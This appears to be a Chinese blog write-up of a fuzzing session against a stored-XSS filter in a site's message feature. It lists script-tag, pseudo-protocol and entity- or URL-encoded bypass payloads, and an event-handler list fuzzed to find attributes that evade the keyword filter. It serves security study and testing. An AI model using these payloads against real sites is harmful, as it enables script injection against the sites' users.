一次针对存储型XSS的fuzzing

1、添加script代码

XSS这种漏洞,还是找输入输出的地方。最后,我在留言的地方发现可以输入,而且用户自己可以查看内容。一般来讲,用户自己看到的内容和收件人看到的内容是一样的。

随便写了点东西,发现内容输出的位置在标签之间,标签之间的话还是比较好办的。而且,可以添加标签,也就是说,< >的符号没有被过滤。因此我测试如下的payload
<script>alert(1)</script>
结果发现,关键字script中间多了一个<x>标签。当我单独输入script的时候却不会触发,然后大小写什么的也测试了,还是不行

2、基于事件属性

既然script标签已经被过滤了,我就html的事件属性来测试一下。刚开始的时候,我就用了一些简单的onerror,onclick之类的。结果发现我会的属性都被过滤,至少在这个时候我还没有想到fuzzing。
基本可以弄清楚了,遇到<keyword>就在keyword中间添加一个<x>

3、 基于伪协议

可以用的伪协议有javascript,DATA URI,以及vbscript
那么我们就会定义一个标签,然后把伪协议内容写在href、src、link之类的属性中
<a href=data:text/html;base64,ZGF0YTp0ZXh0L2h0bWw7PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>click me</a>

<a href=javascript:alert(1)>click me</a>

<a href=data:text/html,%3cscript%3ealert(1)%3c%2fscript%3e>click me </a>
属性编码,HTML的属性支持实体编码,这种方法很容易绕过黑名单里面的关键字,因此有了下面语句
<a href=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>click me</a>
伪协议编码,伪协议的默认编码为US-ASCII,根据MIME协议,支持的编码有base64,quoted-pritable,7-bit,8-bit等等;绕过的方法就很多了,如下
<a href=data:text/html,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e>click me </a>
结果比较有意思的是,这里居然还过滤了,。因此上面的伪协议的方法是不可行的

另外有一点,是关于实体编码的:我采用实体编码之后,html源码显示的属性值就应该是html的实体编码,如下图:

poc

但是,在查看目标的输出点的时候,发现输出是:

poc

我靠,我说怎么不能触发,实体编码已经被解码过一次了,那么既然这样的话,试一试二次编码???

结果,二次编码之后成了下面的样子,先放一边吧,这个下来再研究了,今天的重点也不在这里

poc

4、fuzzing

上面的东西就莫名其妙地就被过滤了,既然它是基于关键字的,关键字那么多它总不能全部过滤了吧?
onabort
onafterprint
onbeforeprint
onbeforeunload
onblur
oncanplay
oncanplaythrough
onchange
onclick
oncontextmenu
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onemptied
onended
onerror
onfocus
onformchange
onforminput
onhaschange
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadstart
onmessage
onmousedown
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onoffline
ononline
onpagehide
onpageshow
onpause
onplay
onplaying
onpopstate
onprogress
onratechange
onreadystatechange
onredo
onreset
onresize
onscroll
onseeked
onseeking
onselect
onstalled
onstorage
onsubmit
onsuspend
ontimeupdate
onundo
onunload
onvolumechange
onwaiting

最后可以用的事件有下面这些:

oncanplay
oncanplaythrough
onemptied
onended
onformchange
onforminput
onhaschange
oninput
oninvalid
onmessage
onoffline
ononline
onpagehide
onpageshow
onpause
onplay
onplaying
onpopstate
onprogress
onratechange
onredo
onseeked
onseeking
onstalled
onstorage
onsuspend
ontimeupdate
onundo
onvolumechange
onwaiting
既然要做到悄无声息,那么就要选择一个好的事件。对比了一下,oncanplay是比较好用的

poc poc

5、参考

DATA URI Scheme

results matching ""

    No results matching ""